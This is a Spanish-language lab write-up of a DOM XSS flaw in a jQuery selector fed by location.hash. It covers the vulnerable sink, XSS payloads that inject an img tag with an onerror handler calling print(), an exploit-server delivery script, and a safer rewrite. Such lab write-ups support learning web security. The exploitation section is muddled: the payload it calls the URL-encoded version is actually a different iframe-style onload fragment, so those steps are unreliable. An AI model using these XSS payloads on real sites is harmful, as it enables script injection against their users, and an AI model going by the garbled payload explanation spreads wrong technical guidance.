← Writeups

DOM XSS in jQuery selector sink using a hashchange event

Inyección DOM XSS a través del evento hashchange: el selector jQuery $('section.blog-list h2:contains(...)') evalúa location.hash y permite construir un payload de dos valores que ejecuta print().

Target Overview & Vulnerability Summary

El laboratorio dom-based/lab-jquery-selector-hash-change-event presenta un DOM XSS en la página de inicio. El código usa el selector $() de jQuery para hacer auto-scroll al post cuyo título se pasa mediante location.hash. El hash se concatena dentro de un selector jQuery, un contexto que evalúa markup; el exploit se entrega vía # con un payload de dos valores que llama a print().

Campo Valor
Severidad Media-Alta (ejecución de JavaScript con interacción vía hashchange)
Endpoint vulnerable / (fragmento location.hash)
Root cause Sink selector jQuery $() con source location.hash concatenado sin sanitización

Technical Breakdown & Exploitation Flow

1. El sink

<script>
    $(window).on('hashchange', function(){
        var post = $('section.blog-list h2:contains(' + decodeURIComponent(window.location.hash.slice(1)) + ')');
        if (post) post.get(0).scrollIntoView();
    });
</script>
  • $() se usa como selector; jQuery interpreta el argumento como CSS o HTML.
  • location.hash es controlado por el usuario vía el fragmento de la URL.
  • El valor se concatena dentro del selector section.blog-list h2:contains(...).

2. Payload de dos valores

URL/#"><img src=x onerror=print()>

Se inyecta un <img> que ejecuta print() cuando el evento hashchange dispara. Como location.hash contiene caracteres que el navegador no envía al servidor (el fragmento es puramente client-side), el payload se codifica adecuadamente en la URL:

/#"%20onload="this.src+='<img src=errorpls onerror=print()>'

La concatenación resulta en un selector que, al ser parseado por jQuery, crea el elemento <img> con el handler onerror. El evento hashchange se dispara cuando la víctima navega al enlace con el fragmento; el <img> con src inválido dispara onerror y ejecuta print().

Entrega del exploit al navegador de la víctima vía el exploit server:

<script>
    location = 'https://<LAB-ID>.web-security-academy.net/#<payload>';
</script>

Root Cause Analysis

El fallo es usar un source directamente controlable (location.hash) como argumento de un sink que interpreta markup. jQuery, cuando su argumento de selector comienza con un carácter HTML o contiene <, lo trata como HTML y construye los elementos correspondientes. El fragmento de URL no se valida, no se escapa y termina evaluado por el motor de selectores/HTML de jQuery dentro de un contexto ya montado en el DOM.

Secure Remediation

  • Nunca concatenar datos de location.hash en selectores jQuery. Extraer el título y hacer match por comparación de texto, no por selector:
$(window).on('hashchange', function(){
    const title = decodeURIComponent(window.location.hash.slice(1));
    $('section.blog-list h2').filter(function() {
        return $(this).text() === title;
    }).get(0).scrollIntoView();
});
  • Validar el hash contra la lista de títulos existentes del blog antes de usarlo.
  • Evitar el patrón $('<html-string>'): si la entrada puede contener <, el selector se convierte en creador de nodos. Cualquier parámetro que alimente un selector debe sanitizarse o restringirse a identificadores seguros.